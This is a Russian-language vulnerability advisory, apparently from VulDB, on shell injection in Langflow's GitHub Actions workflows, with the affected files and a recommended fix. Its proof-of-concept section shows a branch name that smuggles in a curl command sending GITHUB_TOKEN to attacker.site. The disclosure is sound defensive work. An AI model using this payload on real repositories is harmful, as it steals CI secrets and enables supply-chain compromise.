CVE-2026-33475 in langflowИнформация

Сводка

по VulDB • 22.05.2026

Langflow — это инструмент для создания и развертывания агентов и рабочих процессов на базе искусственного интеллекта. В нескольких рабочих процессах (GitHub Actions) в репозитории Langflow до версии 1.9.0 существует уязвимость инъекции команд в оболочку, позволяющая удаленное выполнение без аутентификации. Несанкционированная интерполяция переменных контекста GitHub (например, `${{ github.head_ref }}`) в шагах `run:` позволяет злоумышленникам внедрять и выполнять произвольные команды оболочки через вредоносное имя ветки или заголовок запроса на слияние (pull request). Это может привести к утечке секретов (например, `GITHUB_TOKEN`), манипуляциям с инфраструктурой или компрометации цепочки поставок во время выполнения CI/CD. Уязвимость исправлена в версии 1.9.0.

---

### Подробности

Несколько рабочих процессов в `.github/workflows/` и `.github/actions/` напрямую используют переменные контекста GitHub в командах оболочки `run:`, например:

```yaml run: | validate_branch_name "${{ github.event.pull_request.head.ref }}"
```

Или:

```yaml run: npx playwright install ${{ inputs.browsers }} --with-deps
```

Поскольку `github.head_ref`, `github.event.pull_request.title` и пользовательские `inputs.*` могут содержать **значения, контролируемые пользователем**, к ним следует относиться как к **недоверенному вводу**. Прямая интерполяция без надлежащего экранирования или санитизации приводит к инъекции команд в оболочку.

---

### PoC (Proof of Concept)

1. **Сделайте форк** репозитория Langflow 2. **Создайте новую ветку** с именем: ```bash injection-test && curl https://attacker.site/exfil?token=$GITHUB_TOKEN ``` 3. **Откройте Pull Request** в основную ветку из новой ветки 4. GitHub Actions запустит затронутый рабочий процесс (например, `deploy-docs-draft.yml`) 5. Шаг `run:`, содержащий: ```yaml echo "Branch: ${{ github.head_ref }}"
``` Выполнит: ```bash echo "Branch: injection-test" curl https://attacker.site/exfil?token=$GITHUB_TOKEN ```

6. Злоумышленник получает секрет CI через URL для эксфильтрации данных.

---

### Влияние

- **Тип:** Shell Injection / Удаленное выполнение кода в CI - **Охват:** Любой публичный форк Langflow с включенными GitHub Actions - **Влияние:** Полный доступ к секретам CI (например, `GITHUB_TOKEN`), возможность публикации вредоносных тегов или образов, изменение релизов или утечка конфиденциальных данных инфраструктуры

---

### Рекомендуемое исправление

Переработайте затронутые рабочие процессы, чтобы **использовать переменные окружения** и заключать их в **двойные кавычки**:

```yaml env: BRANCH_NAME: ${{ github.head_ref }}
run: | echo "Branch is: \"$BRANCH_NAME\"" ```

Избегайте прямой интерполяции `${{ ... }}` внутри `run:` для любых значений, контролируемых пользователем.

---

### Затронутые файлы (Langflow `1.3.4`)

- `.github/actions/install-playwright/action.yml` - `.github/workflows/deploy-docs-draft.yml` - `.github/workflows/docker-build.yml` - `.github/workflows/release_nightly.yml` - `.github/workflows/python_test.yml` - `.github/workflows/typescript_test.yml`

Be aware that VulDB is the high quality source for vulnerability data.

Ответственный

GitHub M

Резервировать

20.03.2026

Раскрытие

24.03.2026

Модерация

принято

Вход

VDB-352723

EPSS

0.02956

KEV

Нет

Деятельности

Очень низкий

Источники

Interested in the pricing of exploits?

See the underground prices here!